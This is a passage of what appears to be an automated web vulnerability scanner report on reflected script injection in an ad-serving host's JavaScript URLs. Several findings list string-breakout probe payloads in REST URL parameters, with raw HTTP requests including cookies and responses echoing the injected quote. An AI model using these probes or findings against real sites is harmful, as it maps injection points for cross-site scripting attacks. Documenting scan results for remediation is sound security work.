This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/07e74a'%3bbdfb1e10276/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2591985
Expires: Mon, 28 Mar 2011 01:49:23 GMT
Date: Sat, 26 Feb 2011 01:49:38 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,07e74a';bdfb1e10276%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.100. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3891'%3ba2a152fce1c was submitted in the REST URL parameter 7. This input was echoed as d3891';a2a152fce1c in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/0/203687985d3891'%3ba2a152fce1c/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1517
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:41 GMT
Date: Sat, 26 Feb 2011 01:49:41 GMT
Connection: close


var zzADS_CHAN = '203687985d3891';a2a152fce1c';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.101. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a25ba'%3bfe48c25a940 was submitted in the REST URL parameter 8. This input was echoed as a25ba';fe48c25a940 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/0/203687985/203687985a25ba'%3bfe48c25a940//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1499
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:44 GMT
Date: Sat, 26 Feb 2011 01:49:44 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<SCRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985a25ba';fe48c25a940%3Bi=0%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.102. http://e2.cdn.qnsr.com//cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142454/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f04ab'%3b12625b2384 was submitted in the REST URL parameter 9. This input was echoed as f04ab';12625b2384 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142454/2305/0/0/203687985/203687985//0f04ab'%3b12625b2384/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:47 GMT
Date: Sat, 26 Feb 2011 01:49:47 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
CRIPT language=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.6;sz=300x250;click0=http://o1.qnsr.com//cgi/c%3Fa=20142454%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0f04ab';12625b2384%3Bn=203%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.103. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46e63'%3bd4fe3ee258f was submitted in the REST URL parameter 10. This input was echoed as 46e63';d4fe3ee258f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105/0/0/203687990/203687990//0/20346e63'%3bd4fe3ee258f/9542//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1711
Cache-Control: max-age=2591995
Expires: Mon, 28 Mar 2011 01:49:43 GMT
Date: Sat, 26 Feb 2011 01:49:48 GMT
Connection: close


var zzADS_CHAN = '203687990';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=0;n=20346e63';d4fe3ee258f;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r">
...[SNIP]...

1.104. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83ba7'%3bd9c36cdc5fd was submitted in the REST URL parameter 11. This input was echoed as 83ba7';d9c36cdc5fd in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/954283ba7'%3bd9c36cdc5fd//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1711
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:52 GMT
Date: Sat, 26 Feb 2011 01:49:52 GMT
Connection: close


var zzADS_CHAN = '203687990';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=0;n=203;s=954283ba7';d9c36cdc5fd;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r">
...[SNIP]...

1.105. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 864ff'%3bc2f0de444d5 was submitted in the REST URL parameter 4. This input was echoed as 864ff';c2f0de444d5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105864ff'%3bc2f0de444d5/0/0/203687990/203687990//0/203/9542//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1711
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:32 GMT
Date: Sat, 26 Feb 2011 01:49:32 GMT
Connection: close


var zzADS_CHAN = '203687990';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105864ff';c2f0de444d5;c=203687990,203687990;i=0;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r">
...[SNIP]...

1.106. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c00dc'%3bc26396354fa was submitted in the REST URL parameter 7. This input was echoed as c00dc';c26396354fa in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105/0/0/203687990c00dc'%3bc26396354fa/203687990//0/203/9542//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1729
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:39 GMT
Date: Sat, 26 Feb 2011 01:49:39 GMT
Connection: close


var zzADS_CHAN = '203687990c00dc';c26396354fa';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.107. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6eb6c'%3b5079f91ec4f was submitted in the REST URL parameter 8. This input was echoed as 6eb6c';5079f91ec4f in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105/0/0/203687990/2036879906eb6c'%3b5079f91ec4f//0/203/9542//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1711
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:43 GMT
Date: Sat, 26 Feb 2011 01:49:43 GMT
Connection: close


var zzADS_CHAN = '203687990';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,2036879906eb6c';5079f91ec4f;i=0;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r">
...[SNIP]...

1.108. http://e2.cdn.qnsr.com//cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20142921/15105/0/0/203687990/203687990//0/203/9542//1000003/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 76eb8'%3b154269bab02 was submitted in the REST URL parameter 9. This input was echoed as 76eb8';154269bab02 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20142921/15105/0/0/203687990/203687990//076eb8'%3b154269bab02/203/9542//1000003/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1711
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:46 GMT
Date: Sat, 26 Feb 2011 01:49:46 GMT
Connection: close


var zzADS_CHAN = '203687990';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=076eb8';154269bab02;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r">
...[SNIP]...

1.109. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44e74'%3b34f7324748b was submitted in the REST URL parameter 10. This input was echoed as 44e74';34f7324748b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/0/203687985/203687985//0/20344e74'%3b34f7324748b/9542//3000007/i.js HTTP/1.1
